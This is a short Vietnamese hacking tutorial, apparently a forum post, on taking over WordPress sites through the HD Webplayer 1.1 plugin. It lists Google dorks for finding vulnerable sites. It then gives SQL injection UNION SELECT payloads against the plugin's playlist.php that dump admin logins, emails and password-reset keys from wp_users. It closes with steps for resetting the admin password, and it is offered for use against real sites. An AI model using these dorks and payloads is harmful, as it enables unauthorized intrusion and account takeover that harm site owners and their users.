Bug + UpShell với Wordpress HD Webplayer 1.1

Tìm site có lỗi:
chép vào google là được
Code:

Quote:

# Dork 1 (config.php) inurl:"/wp-content/plugins/hd-webplayer/config.php?id=" # Dork 2 (playlist.php) inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid=" # Dork 3 (General): inurl:"/wp-content/plugins/hd-webplayer/"

Vidụ ta có web sau:

Quote:

http://domain.com/wp-content/plugins....php?videoid=7

ta bắt đầu get lấy (Username & Email)

Quote:

http://domain.com/wp-content/plugins....php?videoid=7 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b ),5,6,7,8,9,10,11 FROM wp_users--

lấy email của admin rồi dán vào đây:

Quote:

http://domain.com/wp-login.php?action=lostpassword

tiếp đấy ta lấy key đổi password user_login & user_activation_key)

Quote:

http://domain.com/wp-content/plugins....php?videoid=7 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation _key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Dán user admin & key theo link sau:

Quote:

http://domain.com/wp-login.php?actio...gin=user_login

sau đó nhập password mới vào... chúc các bác thành công nhé


Video: